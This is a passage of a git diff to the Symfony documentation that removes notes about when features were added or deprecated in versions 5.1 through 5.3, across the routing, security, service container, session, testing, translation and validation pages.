 It's similar to the `impersonation_exit_path`_ function, but it generates
 absolute URLs instead of relative URLs.
 
@@ -320,10 +312,6 @@ t
 ``domain`` *(optional)*
     **type**: ``string`` **default**: ``messages``
 
-.. versionadded:: 5.2
-
-    The ``t()`` function was introduced in Symfony 5.2.
-
 Creates a ``Translatable`` object that can be passed to the
 :ref:`trans filter <reference-twig-filter-trans>`.
 
@@ -382,10 +370,6 @@ trans
 ``locale`` *(optional)*
     **type**: ``string`` **default**: ``null``
 
-.. versionadded:: 5.2
-
-    ``message`` accepting ``Translatable`` as a valid type was introduced in Symfony 5.2.
-
 Translates the text into the current language. More information in
 :ref:`Translation Filters <translation-filters>`.
 
@@ -574,10 +558,6 @@ serialize
 ``context`` *(optional)*
     **type**: ``array``
 
-.. versionadded:: 5.3
-
-    The ``serialize`` filter was introduced in Symfony 5.3.
-
 Accepts any data that can be serialized by the :doc:`Serializer component </serializer>`
 and returns a serialized string in the specified ``format``.
 
diff --git a/routing.rst b/routing.rst
index eb3890d86de..8d0fe82322e 100644
--- a/routing.rst
+++ b/routing.rst
@@ -35,12 +35,6 @@ once in your application to enable them:
 
     $ composer require doctrine/annotations
 
-.. versionadded:: 5.2
-
-    The ability to use PHP attributes to configure routes was introduced in
-    Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
-    annotate controller actions with routing configuration.
-
 This command also creates the following configuration file:
 
 .. code-block:: yaml
@@ -178,11 +172,11 @@ the ``BlogController``:
             ;
         };
 
-.. versionadded:: 5.1
+.. note::
 
-    Starting from Symfony 5.1, by default Symfony only loads the routes defined
-    in YAML format. If you define routes in XML and/or PHP formats, update the
-    ``src/Kernel.php`` file to add support for the ``.xml`` and ``.php`` file extensions.
+    By default Symfony only loads the routes defined in YAML format. If you
+    define routes in XML and/or PHP formats, update the ``src/Kernel.php`` file
+    to add support for the ``.xml`` and ``.php`` file extensions.
 
 .. _routing-matching-http-methods:
 
@@ -999,10 +993,6 @@ parameter:
 Priority Parameter
 ~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    The ``priority`` parameter was introduced in Symfony 5.1
-
 Symfony evaluates routes in the order they are defined. If the path of a route
 matches many different patterns, it might prevent other routes from being
 matched. In YAML and XML you can move the route definitions up or down in the
@@ -2070,11 +2060,6 @@ these routes.
     You can also use the inline defaults and requirements format in the
     ``host`` option: ``{subdomain<m|mobile>?m}.example.com``
 
-.. versionadded:: 5.2
-
-    Inline parameter default values support in hosts were introduced in
-    Symfony 5.2. Prior to Symfony 5.2, they were supported in the path only.
-
 .. _i18n-routing:
 
 Localized Routes (i18n)
@@ -2234,10 +2219,6 @@ Another common requirement is to host the website on a different domain
 according to the locale. This can be done by defining a different host for each
 locale.
 
-.. versionadded:: 5.1
-
-    The ability to define an array of hosts was introduced in Symfony 5.1.
-
 .. configuration-block::
 
     .. code-block:: yaml
@@ -2282,10 +2263,6 @@ locale.
 Stateless Routes
 ----------------
 
-.. versionadded:: 5.1
-
-    The ``stateless`` option was introduced in Symfony 5.1.
-
 Sometimes, when an HTTP response should be cached, it is important to ensure
 that can happen. However, whenever a session is started during a request,
 Symfony turns the response into a private non-cacheable response.
@@ -2576,10 +2553,6 @@ The solution is to configure the ``default_uri`` option to define the
             $framework->router()->defaultUri('https://example.org/my/path/');
         };
 
-.. versionadded:: 5.1
-
-    The ``default_uri`` option was introduced in Symfony 5.1.
-
 Now you'll get the expected results when generating URLs in your commands::
 
     // src/Command/SomeCommand.php
diff --git a/security.rst b/security.rst
index 905d14f7d23..4677666c092 100644
--- a/security.rst
+++ b/security.rst
@@ -221,7 +221,7 @@ command will pre-configure this for you:
                 # use your user class name here
                 App\Entity\User:
                     # Use native password hasher, which auto-selects the best
-                    # possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt")
+                    # possible hashing algorithm (which currently is "bcrypt")
                     algorithm: auto
 
     .. code-block:: xml
@@ -263,11 +263,6 @@ command will pre-configure this for you:
             // ...
         };
 
-.. versionadded:: 5.3
-
-    The ``password_hashers`` option was introduced in Symfony 5.3. In previous
-    versions it was called ``encoders``.
-
 Now that Symfony knows *how* you want to hash the passwords, you can use the
 ``UserPasswordHasherInterface`` service to do this before saving your users to
 the database.
@@ -329,11 +324,6 @@ You can manually hash a password by running:
 3a) Authentication & Firewalls
 ------------------------------
 
-.. versionadded:: 5.1
-
-    The ``lazy: true`` option was introduced in Symfony 5.1. Prior to version 5.1,
-    it was enabled using ``anonymous: lazy``
-
 The security system is configured in ``config/packages/security.yaml``. The *most*
 important section is ``firewalls``:
 
@@ -478,10 +468,6 @@ here are a few common use-cases:
 Limiting Login Attempts
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    Login throttling was introduced in Symfony 5.2.
-
 Symfony provides basic protection against `brute force login attacks`_ if
 you're using the :doc:`authenticator-based authenticators </security/authenticator_manager>`.
 You must enable this using the ``login_throttling`` setting:
@@ -574,10 +560,6 @@ You must enable this using the ``login_throttling`` setting:
                     ->maxAttempts(3);
         };
 
-.. versionadded:: 5.3
-
-    The ``login_throttling.interval`` option was introduced in Symfony 5.3.
-
 By default, login attempts are limited on ``max_attempts`` (default: 5)
 failed requests for ``IP address + username`` and ``5 * max_attempts``
 failed requests for ``IP address``. The second limit protects against an
@@ -1094,11 +1076,6 @@ like this:
   :doc:`impersonating </security/impersonating_user>` another user in this
   session, this attribute will match.
 
-.. versionadded:: 5.1
-
-    The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATOR``
-    attributes were introduced in Symfony 5.1.
-
 .. _retrieving-the-user-object:
 
 5a) Fetching the User Object
@@ -1303,13 +1280,6 @@ Symfony will un-authenticate the current user and redirect them.
 Customizing Logout
 ~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    The ``LogoutEvent`` was introduced in Symfony 5.1. Prior to this
-    version, you had to use a
-    :ref:`logout success handler <reference-security-logout-success-handler>`
-    to customize the logout.
-
 In some cases you need to execute extra logic upon logout (e.g. invalidate
 some tokens) or want to customize what happens after a logout. During
 logout, a :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
@@ -1326,7 +1296,6 @@ event class:
     Returns a response, if it is already set by a custom listener. Use
     ``setResponse()`` to configure a custom logout response.
 
-
 .. tip::
 
     Every Security firewall has its own event dispatcher
diff --git a/security/access_control.rst b/security/access_control.rst
index ec86b8a6836..3de2e4ec53b 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -129,10 +129,6 @@ Take the following ``access_control`` entries as an example:
             ;
         };
 
-.. versionadded:: 5.2
-
-    Support for comma-separated IP addresses was introduced in Symfony 5.2.
-
 For each incoming request, Symfony will decide which ``access_control``
 to use based on the URI, the client's IP address, the incoming host name,
 and the request method. Remember, the first rule that matches is used, and
diff --git a/security/authenticator_manager.rst b/security/authenticator_manager.rst
index 03d658402c4..b347f7d57f4 100644
--- a/security/authenticator_manager.rst
+++ b/security/authenticator_manager.rst
@@ -139,10 +139,6 @@ unauthenticated access (e.g. the login page):
 Granting Anonymous Users Access in a Custom Voter
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The ``NullToken`` class was introduced in Symfony 5.2.
-
 If you're using a :doc:`custom voter </security/voters>`, you can allow
 anonymous users access by checking for a special
 :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\NullToken`. This token is used
@@ -424,11 +420,6 @@ into a security
 Security Passports
 ~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The ``UserBadge`` was introduced in Symfony 5.2. Prior to 5.2, the user
-    instance was provided directly to the passport.
-
 A passport is an object that contains the user that will be authenticated as
 well as other pieces of information, like whether a password should be checked
 or if "remember me" functionality should be enabled.
@@ -550,10 +541,10 @@ the following badges are supported:
     initiated). This skips the
     :doc:`pre-authentication user checker </security/user_checkers>`.
 
-.. versionadded:: 5.2
+.. note::
 
-    Since 5.2, the ``PasswordUpgradeBadge`` is automatically added to
-    the passport if the passport has ``PasswordCredentials``.
+    The ``PasswordUpgradeBadge`` is automatically added to the passport if the
+    passport has ``PasswordCredentials``.
 
 For instance, if you want to add CSRF to your custom authenticator, you
 would initialize the passport like this::
@@ -618,7 +609,3 @@ would initialize the passport like this::
                 return new CustomOauthToken($passport->getUser(), $passport->getAttribute('scope'));
             }
         }
-
-.. versionadded:: 5.2
-
-    Passport attributes were introduced in Symfony 5.2.
diff --git a/security/csrf.rst b/security/csrf.rst
index 8416cd4cafc..bc7885b7a4d 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -176,10 +176,6 @@ targeted parts of the plaintext. To mitigate these attacks, and prevent an
 attacker from guessing the CSRF tokens, a random mask is prepended to the token
 and used to scramble it.
 
-.. versionadded:: 5.3
-
-    The randomization of tokens was introduced in Symfony 5.3
-
 .. _`Cross-site request forgery`: https://en.wikipedia.org/wiki/Cross-site_request_forgery
 .. _`BREACH`: https://en.wikipedia.org/wiki/BREACH
 .. _`CRIME`: https://en.wikipedia.org/wiki/CRIME
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index 94fdda02708..86175effb9d 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -216,9 +216,6 @@ the ``PasswordDigest`` header value matches with the user's password::
 
         public function authenticate(TokenInterface $token): WsseUserToken
         {
-            // The loadUserByIdentifier() and getUserIdentifier() methods were
-            // introduced in Symfony 5.3. In previous versions they were called
-            // loadUserByUsername() and getUsername() respectively
             $user = $this->userProvider->loadUserByIdentifier($token->getUserIdentifier());
 
             if ($user && $this->validateDigest($token->digest, $token->nonce, $token->created, $user->getPassword())) {
@@ -439,7 +436,6 @@ to service ids that may not exist yet: ``App\Security\Authentication\Provider\Ws
 
             $services->set(WsseListener::class)
                 ->args([
-                    // In versions earlier to Symfony 5.1 the service() function was called ref()
                     service('security.token_storage'),
                     service('security.authentication.manager'),
                 ])
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index f31474f238c..24f9b475a51 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -101,11 +101,6 @@ instance, to show a link to exit impersonation in a template:
         <a href="{{ impersonation_exit_path(path('homepage') ) }}">Exit impersonation</a>
     {% endif %}
 
-.. versionadded:: 5.1
-
-    The ``IS_IMPERSONATOR`` was introduced in Symfony 5.1. Use
-    ``ROLE_PREVIOUS_ADMIN`` prior to Symfony 5.1.
-
 Finding the Original User
 -------------------------
 
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
index 2806f6c9a97..edd01c7fabd 100644
--- a/security/json_login_setup.rst
+++ b/security/json_login_setup.rst
@@ -84,8 +84,6 @@ The next step is to configure a route in your app matching this path:
                 $user = $this->getUser();
 
                 return $this->json([
-                    // The getUserIdentifier() method was introduced in Symfony 5.3.
-                    // In previous versions it was called getUsername()
                     'username' => $user->getUserIdentifier(),
                     'roles' => $user->getRoles(),
                 ]);
diff --git a/security/login_link.rst b/security/login_link.rst
index 1e1641304a3..c89d005fb16 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -743,10 +743,6 @@ Then, configure this service ID as the ``success_handler``:
 Customizing the Login Link
 --------------------------
 
-.. versionadded:: 5.3
-
-    The possibility to customize the login link was introduced in Symfony 5.3.
-
 The ``createLoginLink()`` method accepts a second optional argument to pass the
 ``Request`` object used when generating the login link. This allows to customize
 features such as the locale used to generate the link::
diff --git a/security/remember_me.rst b/security/remember_me.rst
index b14b012202f..11c0e6d88d9 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -137,10 +137,6 @@ The ``remember_me`` firewall defines the following configuration options:
     Defines the ID of the service used to handle the Remember Me feature. It's
     useful if you need to overwrite the current behavior entirely.
 
-    .. versionadded:: 5.1
-
-        The ``service`` option was introduced in Symfony 5.1.
-
 Forcing the User to Opt-Out of the Remember Me Feature
 ------------------------------------------------------
 
@@ -207,10 +203,6 @@ users to change their password. You can do this by leveraging a few special
     There is also a ``IS_REMEMBERED`` attribute that grants *only* when the
     user is authenticated via the remember me mechanism.
 
-.. versionadded:: 5.1
-
-    The ``IS_REMEMBERED`` attribute was introduced in Symfony 5.1.
-
 .. _remember-me-token-in-database:
 
 Storing Remember Me Tokens in the Database
diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index a404a668932..32349020a50 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -56,10 +56,6 @@ displayed to the user::
         }
     }
 
-.. versionadded:: 5.1
-
-    The ``CustomUserMessageAccountStatusException`` class was introduced in Symfony 5.1.
-
 Enabling the Custom User Checker
 --------------------------------
 
diff --git a/security/user_provider.rst b/security/user_provider.rst
index f064507045d..31db8203284 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -135,8 +135,6 @@ interface only requires one method: ``loadUserByIdentifier($identifier)``::
     {
         // ...
 
-        // The loadUserByIdentifier() method was introduced in Symfony 5.3.
-        // In previous versions it was called loadUserByUsername()
         public function loadUserByIdentifier(string $usernameOrEmail): ?User
         {
             $entityManager = $this->getEntityManager();
@@ -231,8 +229,6 @@ users will hash their passwords:
             # ...
             password_hashers:
                 # this internal class is used by Symfony to represent in-memory users
-                # (the 'InMemoryUser' class was introduced in Symfony 5.3.
-                # In previous versions it was called 'User')
                 Symfony\Component\Security\Core\User\InMemoryUser: 'auto'
 
     .. code-block:: xml
@@ -251,8 +247,6 @@ users will hash their passwords:
                 <!-- ... -->
 
                 <!-- this internal class is used by Symfony to represent in-memory users -->
-                <!-- (the 'InMemoryUser' class was introduced in Symfony 5.3.
-                     In previous versions it was called 'User') -->
                 <security:password-hasher class="Symfony\Component\Security\Core\User\InMemoryUser"
                     algorithm="auto"
                 />
@@ -264,8 +258,6 @@ users will hash their passwords:
         // config/packages/security.php
 
         // this internal class is used by Symfony to represent in-memory users
-        // (the 'InMemoryUser' class was introduced in Symfony 5.3.
-        // In previous versions it was called 'User')
         use Symfony\Component\Security\Core\User\InMemoryUser;
         use Symfony\Config\SecurityConfig;
 
@@ -373,9 +365,6 @@ command will generate a nice skeleton to get you started::
     class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
     {
         /**
-         * The loadUserByIdentifier() method was introduced in Symfony 5.3.
-         * In previous versions it was called loadUserByUsername()
-         *
          * Symfony calls this method if you use features like switch_user
          * or remember_me. If you're not using these features, you do not
          * need to implement this method.
diff --git a/security/voters.rst b/security/voters.rst
index d860886f175..71383a25ebc 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -289,10 +289,6 @@ There are three strategies available:
     This grants or denies access by the first voter that does not abstain,
     based on their service priority;
 
-    .. versionadded:: 5.1
-
-        The ``priority`` version strategy was introduced in Symfony 5.1.
-
 Regardless the chosen strategy, if all voters abstained from voting, the
 decision is based on the ``allow_if_all_abstain`` config option (which
 defaults to ``false``).
diff --git a/serializer.rst b/serializer.rst
index 8cae58c5838..0334489c62b 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -50,10 +50,6 @@ Or you can use the ``serialize`` Twig filter in a template:
 See the :doc:`twig reference </reference/twig_reference>` for
 more information.
 
-.. versionadded:: 5.3
-
-    A ``serialize`` filter was introduced in Symfony 5.3 that uses the Serializer component.
-
 Adding Normalizers and Encoders
 -------------------------------
 
diff --git a/service_container.rst b/service_container.rst
index b854b85ec2e..9eadcfc4ba6 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -533,7 +533,6 @@ parameter and in PHP config use the ``service()`` function:
             $services = $configurator->services();
 
             $services->set(MessageGenerator::class)
-                // In versions earlier to Symfony 5.1 the service() function was called ref()
                 ->args([service('logger')])
             ;
         };
@@ -881,11 +880,6 @@ setting:
             ;
         };
 
-.. deprecated:: 5.1
-
-    As of Symfony 5.1, it is no longer possible to autowire the service
-    container by type-hinting ``Psr\Container\ContainerInterface``.
-
 .. _service-psr4-loader:
 
 Importing Many Services at once with resource
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index f216855d292..a46058422d8 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -158,12 +158,6 @@ This means that when using the container directly, you can access the
 Deprecating Service Aliases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    The ``package`` and ``version`` options were introduced in Symfony 5.1.
-    Prior to 5.1, you had to use ``deprecated: true`` or
-    ``deprecated: 'Custom message'``.
-
 If you decide to deprecate the use of a service alias (because it is outdated
 or you decided not to maintain it anymore), you can deprecate its definition:
 
@@ -282,7 +276,6 @@ The following example shows how to inject an anonymous service into another serv
             $services = $configurator->services();
 
             $services->set(Foo::class)
-                // In versions earlier to Symfony 5.1 the inline_service() function was called inline()
                 ->args([inline_service(AnonymousBar::class)]);
         };
 
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 13e224aed72..af6496909e9 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -607,10 +607,6 @@ to a method, you can always explicitly :doc:`configure the method call </service
 If your PHP version doesn't support attributes (they were introduced in PHP 8),
 you can use the ``@required`` annotation instead.
 
-.. versionadded:: 5.2
-
-    The ``#[Required]`` attribute was introduced in Symfony 5.2.
-
 Despite property injection has some :ref:`drawbacks <property-injection>`,
 autowiring with ``#[Required]`` or ``@required`` can also be applied to public
 typed properties:
@@ -651,10 +647,6 @@ typed properties:
             }
         }
 
-.. versionadded:: 5.1
-
-    Public typed properties autowiring was introduced in Symfony 5.1.
-
 Autowiring Controller Action Methods
 ------------------------------------
 
diff --git a/service_container/calls.rst b/service_container/calls.rst
index 9f7ac768976..0fb2f0d2462 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -73,7 +73,6 @@ To configure the container to call the ``setLogger`` method, use the ``calls`` k
             // ...
 
             $services->set(MessageGenerator::class)
-                // In versions earlier to Symfony 5.1 the service() function was called ref()
                 ->call('setLogger', [service('logger')]);
         };
 
@@ -166,8 +165,3 @@ The configuration to tell the container it should do so would be like:
     PHP 8 ``static`` return type and a ``@required`` annotation to behave as
     a wither, you can add a ``@return $this`` annotation to disable the
     *returns clone* feature.
-
-    .. versionadded:: 5.1
-
-        Support for the PHP 8 ``static`` return type was introduced in
-        Symfony 5.1.
diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index 1ade37244c3..2cb6112f03e 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -179,7 +179,6 @@ all the classes are already loaded as services. All you need to do is specify th
             $services->load('App\\', '../src/*');
 
             // override the services to set the configurator
-            // In versions earlier to Symfony 5.1 the service() function was called ref()
             $services->set(NewsletterManager::class)
                 ->configurator(service(EmailConfigurator::class), 'configure');
 
diff --git a/service_container/factories.rst b/service_container/factories.rst
index d2fda053923..54775793a52 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -163,7 +163,6 @@ Configuration of the service container then looks like this:
             // second, use the factory service as the first argument of the 'factory'
             // method and the factory method as the second argument
             $services->set(NewsletterManager::class)
-                // In versions earlier to Symfony 5.1 the service() function was called ref()
                 ->factory([service(NewsletterManagerFactory::class), 'createNewsletterManager']);
         };
 
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index 1a0c5351d02..5e49c9273e4 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -78,7 +78,6 @@ service container configuration:
             $services = $configurator->services();
 
             $services->set(NewsletterManager::class)
-                // In versions earlier to Symfony 5.1 the service() function was called ref()
                 ->args(service('mailer'));
         };
 
diff --git a/service_container/optional_dependencies.rst b/service_container/optional_dependencies.rst
index e05e050ba9c..838c387cfcf 100644
--- a/service_container/optional_dependencies.rst
+++ b/service_container/optional_dependencies.rst
@@ -42,7 +42,6 @@ if the service does not exist:
             $services = $configurator->services();
 
             $services->set(NewsletterManager::class)
-                // In versions earlier to Symfony 5.1 the service() function was called ref()
                 ->args([service('logger')->nullOnInvalid()]);
         };
 
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 7df74b37a43..2f2b88303ba 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -128,7 +128,6 @@ avoid duplicated service definitions:
             $services->set(BaseDoctrineRepository::class)
                 ->abstract()
                 ->args([service('doctrine.orm.entity_manager')])
-                // In versions earlier to Symfony 5.1 the service() function was called ref()
                 ->call('setLogger', [service('logger')])
             ;
 
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 4c7f2ed0158..3b369373072 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -172,15 +172,9 @@ automatically changed to ``'.inner'``):
             $services->set(DecoratingMailer::class)
                 ->decorate(Mailer::class)
                 // pass the old service as an argument
-                // In versions earlier to Symfony 5.1 the service() function was called ref()
                 ->args([service('.inner')]);
         };
 
-.. versionadded:: 5.1
-
-    The special ``.inner`` value was introduced in Symfony 5.1. In previous
-    versions you needed to use: ``decorating_service_id + '.inner'``.
-
 .. tip::
 
     The visibility of the decorated ``App\Mailer`` service (which is an alias
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index db75b181446..d4ff897df51 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -372,7 +372,6 @@ other services. To do so, create a new service definition using the
             $services = $configurator->services();
 
             $services->set('app.command_handler_locator', ServiceLocator::class)
-                // In versions earlier to Symfony 5.1 the service() function was called ref()
                 ->args([[
                     'App\FooCommand' => service('app.command_handler.foo'),
                     'App\BarCommand' => service('app.command_handler.bar'),
diff --git a/session.rst b/session.rst
index 70e62b62263..8c41e0949fc 100644
--- a/session.rst
+++ b/session.rst
@@ -164,89 +164,11 @@ controllers if you type-hint an argument with
         }
     }
 
-.. deprecated:: 5.3
-
-    The ``SessionInterface`` and ``session`` service were deprecated in
-    Symfony 5.3. Instead, inject the ``RequestStack`` service to get the session
-    object of the current request.
-
 Stored attributes remain in the session for the remainder of that user's session.
 By default, session attributes are key-value pairs managed with the
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBag`
 class.
 
-.. deprecated:: 5.3
-
-    The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
-    If you need this feature, you will have to implement the class yourself.
-
-If your application needs are complex, you may prefer to use
-:ref:`namespaced session attributes <namespaced-attributes>` which are managed with the
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\NamespacedAttributeBag`
-class. Before using them, override the ``session_listener`` service definition to build
-your ``Session`` object with the default ``AttributeBag`` by the ``NamespacedAttributeBag``:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        session.factory:
-            autoconfigure: true
-            class: App\Session\SessionFactory
-            arguments:
-            - '@request_stack'
-            - '@session.storage.factory'
-            - ['@session_listener', 'onSessionUsage']
-            - '@session.namespacedattributebag'
-
-        session.namespacedattributebag:
-            class: Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="session" class="Symfony\Component\HttpFoundation\Session\Session" public="true">
-                    <argument type="service" id="session.storage"/>
-                    <argument type="service" id="session.namespacedattributebag"/>
-                    <argument type="service" id="session.flash_bag"/>
-                </service>
-
-                <service id="session.namespacedattributebag"
-                    class="Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag"
-                />
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag;
-        use Symfony\Component\HttpFoundation\Session\Session;
-
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
-
-            $services->set('session', Session::class)
-                ->public()
-                ->args([
-                    ref('session.storage'),
-                    ref('session.namespacedattributebag'),
-                    ref('session.flash_bag'),
-                ])
-            ;
-
-            $services->set('session.namespacedattributebag', NamespacedAttributeBag::class);
-        };
-
 .. _session-avoid-start:
 
 Avoid Starting Sessions for Anonymous Users
diff --git a/session/database.rst b/session/database.rst
index 7f1ea26a0ba..d8879295b33 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -242,11 +242,6 @@ first register a new handler service with your database credentials:
     When using MySQL as the database, the DSN defined in ``DATABASE_URL`` can
     contain the ``charset`` and ``unix_socket`` options as query string parameters.
 
-    .. versionadded:: 5.3
-
-        The support for ``charset`` and ``unix_socket`` options was introduced
-        in Symfony 5.3.
-
 Next, use the :ref:`handler_id <config-framework-session-handler-id>`
 configuration option to tell Symfony to use this service as the session handler:
 
diff --git a/templates.rst b/templates.rst
index de12df7ba13..087f5320888 100644
--- a/templates.rst
+++ b/templates.rst
@@ -559,10 +559,6 @@ provided by Symfony:
             ;
         };
 
-.. versionadded:: 5.1
-
-    The ``context`` option was introduced in Symfony 5.1.
-
 Checking if a Template Exists
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/testing.rst b/testing.rst
index 346cc573e94..1ef69159ab4 100644
--- a/testing.rst
+++ b/testing.rst
@@ -577,10 +577,6 @@ will no longer be followed::
 Logging in Users (Authentication)
 .................................
 
-.. versionadded:: 5.1
-
-    The ``loginUser()`` method was introduced in Symfony 5.1.
-
 When you want to add application tests for protected pages, you have to
 first "login" as a user. Reproducing the actual steps - such as
 submitting a login form - make a test very slow. For this reason, Symfony
@@ -900,10 +896,6 @@ Response Assertions
     :method:`Symfony\\Component\\HttpFoundation\\Response::getFormat` method
     is the same as the expected value.
 
-.. versionadded:: 5.3
-
-    The ``assertResponseFormatSame()`` method was introduced in Symfony 5.3.
-
 Request Assertions
 ..................
 
@@ -948,20 +940,9 @@ Crawler Assertions
     Asserts that value of the field of the first form matching the given
     selector does (not) equal the expected value.
 
-.. versionadded:: 5.2
-
-    The ``assertCheckboxChecked()``, ``assertCheckboxNotChecked()``,
-    ``assertFormValue()`` and ``assertNoFormValue()`` methods were introduced
-    in Symfony 5.2.
-
 Mailer Assertions
 .................
 
-.. versionadded:: 5.1
-
-    Starting from Symfony 5.1, the following assertions no longer require to make
-    a request with the ``Client`` in a test case extending the ``WebTestCase`` class.
-
 ``assertEmailCount(int $count, string $transport = null, string $message = '')``
     Asserts that the expected number of emails was sent.
 ``assertQueuedEmailCount(int $count, string $transport = null, string $message = '')``
diff --git a/translation.rst b/translation.rst
index a612c218454..efc7b485976 100644
--- a/translation.rst
+++ b/translation.rst
@@ -302,10 +302,6 @@ using PHP's :phpclass:`MessageFormatter` class. Read more about this in
 Translatable Objects
 --------------------
 
-.. versionadded:: 5.2
-
-    Translatable objects were introduced in Symfony 5.2.
-
 Sometimes translating contents in templates is cumbersome because you need the
 original message, the translation parameters and the translation domain for
 each content. Making the translation in the controller or services simplifies
@@ -475,11 +471,6 @@ The ``translation:update`` command looks for missing translations in:
   :ref:`translatable-objects` using the constructor or the ``t()`` method or calls
   the ``trans()`` method.
 
-.. versionadded:: 5.3
-
-    Support for extracting Translatable objects has been introduced in
-    Symfony 5.3.
-
 .. _translation-resource-locations:
 
 Translation Resource/File Names and Locations
@@ -596,11 +587,6 @@ if you're generating translations with specialized programs or teams.
 Translation Providers
 ---------------------
 
-.. versionadded:: 5.3
-
-    Translation providers were introduced in Symfony 5.3 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
-
 When using external translators to translate your application, you must send
 them the new contents to translate frequently and merge the results back in the
 application.
diff --git a/translation/debug.rst b/translation/debug.rst
index e0668c4ae3e..97fb896062e 100644
--- a/translation/debug.rst
+++ b/translation/debug.rst
@@ -21,9 +21,8 @@ command helps you to find these missing or unused translation messages templates
 
     The extractors can't find messages translated outside templates (like form
     labels or controllers) unless using :ref:`translatable-objects` or calling
-    the ``trans()`` method on a translator (since Symfony 5.3). Dynamic
-    translations using variables or expressions in templates are not
-    detected either:
+    the ``trans()`` method on a translator. Dynamic translations using variables
+    or expressions in templates are not detected either:
 
     .. code-block:: twig
 
@@ -208,7 +207,3 @@ These constants are defined as "bit masks", so you can combine them as follows::
     if (TranslationDebugCommand::EXIT_CODE_MISSING | TranslationDebugCommand::EXIT_CODE_UNUSED) {
         // ... there are missing and/or unused translations
     }
-
-.. versionadded:: 5.1
-
-    The exit codes were introduced in Symfony 5.1
diff --git a/translation/lint.rst b/translation/lint.rst
index 14693f32826..1efeb9ef923 100644
--- a/translation/lint.rst
+++ b/translation/lint.rst
@@ -40,10 +40,6 @@ adapted to the format required by GitHub, but you can force that format too:
 
     $ php bin/console lint:yaml translations/ --format=github
 
-.. versionadded:: 5.3
-
-    The ``github`` output format was introduced in Symfony 5.3.
-
 .. tip::
 
     The Yaml component provides a stand-alone ``yaml-lint`` binary allowing
@@ -53,8 +49,4 @@ adapted to the format required by GitHub, but you can force that format too:
 
         $ php vendor/bin/yaml-lint translations/
 
-    .. versionadded:: 5.1
-
-        The ``yaml-lint`` binary was introduced in Symfony 5.1.
-
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
diff --git a/validation.rst b/validation.rst
index f2bc793f016..03c1fb77b9d 100644
--- a/validation.rst
+++ b/validation.rst
@@ -817,10 +817,6 @@ provide more custom validation.
 Debugging the Constraints
 -------------------------
 
-.. versionadded:: 5.2
-
-    The ``debug:validator`` command was introduced in Symfony 5.2.
-
 Use the ``debug:validator`` command to list the validation constraints of a
 given class:
 
